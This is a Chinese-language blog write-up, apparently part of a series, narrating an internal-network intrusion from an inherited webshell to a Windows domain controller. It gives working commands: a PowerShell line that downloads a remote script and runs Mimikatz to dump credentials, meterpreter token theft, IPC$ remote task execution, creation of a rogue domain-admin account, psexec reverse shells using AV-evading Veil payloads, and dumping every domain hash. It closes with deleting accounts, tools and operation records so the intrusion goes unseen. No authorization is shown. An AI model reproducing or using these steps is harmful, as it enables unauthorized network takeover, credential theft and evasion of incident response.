本文作者:i春秋签约作家——shuteer
前言
内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里。于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求。今天小菜我本着所有师傅们无私分享的精神,特将三年内求师傅,求妹子,求神器所得,经过整理后,关键的知识点写出来。相关知识点总结如下:
- 免杀payload的生成,请使用Veil
- msf在meterpreter下的提权尝试
- msf在meterpreter下的bypassuac尝试
- 内网渗透测试过程中的信息关联
- meterpreter的路由添加以及相关扫描
- Powershell在meterpreter下面的使用
- Meterpreter的post模块使用
- Msf的custom自己生成的payload的使用
- 进程注入窃取令牌
其实重点不在于知识的多少,大家只需关注比较重点的连接点。分享为了方便大家以后一起交流,一起学习,一起进步。首先shell是别人给我的,也不是这里介绍的重点,所以在此忽略。
渗透测试的环境详细如下:
A 堡垒机(webshell所在机器):windows server 2012
B 堡垒机:windows 2008(powershell扫描机器)
C 堡垒机:有域管理进程的机器windows server 2012
D 堡垒机若干
第八步 Poershell获取域控管理员在线的机器
内网渗透测试不得不说到两大神器:msf和powershell,但是看大家基本上都是分开来使用的,或者说大家在一次渗透测试的过程中很少遇到,今天作为读者的你有福了。
首先来讲讲powershell的在内网渗透测试中不仅能扫,能爆,能转发,当然还能做更多的事情,一般使用到的模块有下面三个:
1 Empire据说是神器,也确实是神器,我没使用过,暂时不多说
2 PowerUp 据说提权神器,也确实是神器,我很少使用。也暂时不多说
3 PowerView 据说是域渗透神器,也确实是神器,我一直用,非常漂亮
来说说powershell的使用,其实也很简单,只是大家在用的过程中一般没有太多的注意,主要有三种方式来调用:
1 当然是下载到本地执行,详细使用方法如后面连接:powershell “IEX (New-Object
Net.WebClient).DownloadString(‘http://is.gd/oeoFuI‘); Invoke-Mimikatz
-DumpCreds”
2 第二种方式是把powershell文件上传到堡垒机本地执行, powershell.exe -exec
bypass -Command “& {Import-Module .\powerview.ps1;
Invoke-UserHunter}”
3 上传到对方本地,然后Import-Module导入,使用。
PowerView的所有模块使用其实很简单,直接调用方法,大家看看下面的图就知道了。如果你能看到这里开始你的powershell之旅,内网将开始变得简单。
废话讲了这么多,下面开始我们的实战,其实很简单,我真的想说很简单,简单到一句话搞定。Powerview中的Invoke-UserHunter是获取当前域管理员在线登录的机器。这次的旅程我们就用它来完成进一步的信息获取。详细如下图:
第九步 域控管理员权限的获取(windows2012权限)
在经过第八步之后,身为读者的你是不是感觉这次收获有一点点,内网域渗透测试再也不是那么一筹莫展了呢。神器过后还是神器,又见它windows server 2012,虽然域管理在线,但是我们的抓密码神器阳痿了,总不能修改注册表,等管理员再次登录吧。
目前来看看我们遇到的问题,通过powershell成功获取到相关的域控管理员在线的一台机器windows server 2012,并且用这台机器的权限,那么接下来我们去搞定域控。思路如下:
1 修改注册表等待域控管理员再次登录来抓取(黄花菜都会凉的)
2 通过PowerUp的进程来注入获取域权限(没使用过暂时放弃),当然此处也可以写类似外挂的功能注入进程获取权限
3 msf的令牌窃取功能(这个可以很容易实现)
知道思路,那么接下来就开始我们愉快的旅程吧。我要求师傅,求妹子,求神器,专业求到域控去:
1 同样使用ipc经典入侵手法,反弹meterpreter,
Getsysttem 权限
Ps 查看域管理所在的进程
Migrate pid注入进程
2 继续经典的IPC$到域控
Meterpreter下面shell
Net use \\域控ip\c$
Net time \\域控ip
Copy bat.bat \\域控ip\c$
At \\域控ip time c:\bat.bat(意料之外的错误,提示schtasks.exe,不熟)
3 通往成功的路不只有一条,添加域管账户
Net user demo demo /ad /domain
Net group “domain admins” demo /ad /domain
到了此刻,我们已经拥有域管权限了。详细的截图如下:
第十步 域控我来了(msf p**ec反弹shell)
一看时间,凌晨七点了,早上的太阳要升起来了。此时此刻你的心情是怎么样呢。该晨起跑步了吧。东方的太阳就要升起了,域控的权限也终于到了了。
先将思路,登录域控其实有很多方式的,下面我说一下我能知道的几种吧,相信大
家也大家也都知道的:
1 端口转发或者socks登录域控远程桌面
2 登录对方内网的一台电脑使用p**ec来反弹shell
3 使用msf的p**ec反弹meterpreter
反弹需要注意要用到的知识,我们这里采用的是pse**c来反弹meterpreter,其中涉及到的知识如下:
1 msf中p**ec模块的使用
2 cuestom模块的使用,配合meterpreter,在payload不免杀的情况下如何使用自己Veil生成的payload
详细的使用过程如下图:
第十一步 Meterpreter获取所有用户的hash
有了域的权限之后,如果我们还想进行深层次的控制,那么dumphash是必不可少的。首先来看看我们需要的知识:
1 msf有两个模块可以使用,一个是hashdump,此模块只能导出本地的hash,大家测试就可以知道了,另外一个是smart_hashdump,此模块可以用来导出域用户的hash.
2 powershell有可以直接导出的模块,大家自行尝试一下
3 wce,mimikatz等神器的使用
在这里我采用的是msf的smart_hashdump的模块。在此需要注意的是要想使使用此模块导出hash,必须要使用system的权限才行。详细的过程如下图:
第十二步 曲折的探索之路
这里是整理一下之前用到的一些技术,和走过的一些弯路。文档到这差不多算是完成了一个从webshell到域控的探索之路算是完成了,当然在这里我把过程中走的一些弯路还有不足点指出来,欢迎大家的指正,共同学习。
根据上面的图知道,我现在控制的Session一共有5个,其中有四个是必须要获取的,分别为session1,session2
session4,session5。其中session1为webshell反弹所获得,第二个session2是信息分析获取到的,,session4为获取域管理员所获取,session5为域。其中session3就是我所走过的弯路,浪费了时间。之后我们必须为了更好更快速有效的完成渗透测试,平时努力练剑。尽力做到不出剑则已,出剑则见血。
第十三步 我轻轻的来了,我又轻轻的走了,管理员,再见(清理)
作为一次比较成功的友情测试,我们必须要做到来无影,去无踪。所以收尾工作,也将悄悄展开。涉及到相关的知识点:
1 删除之前添加的域管理账号
2 删除所有的使用过程中的工具
3 删除自己所有的操作记录
4 关闭所有的meterpreter
在此过程中我们一共上传了两个文件,一个bar.bat,一个64位的mimikatz抓密码工具,直接删除即可。
总结
总结说点什么好呢。还是先喊口号吧——“求妹子,求师傅,求神器”。感谢三年多以来为我默默分享的师傅们,感谢妹子在我做这次友情测试的时候,她一直静静的陪在我这边,感谢这些年求来的各种神器,没有这些资源的支持,我将不会完成这次的友情测试。作为一名渗透测试爱好者,我们一直在努力的追求着心中那个美丽的梦想;作为一名程序员,我们就是想简单的coding。人生如此美好,大家何不联手,一起分享美好。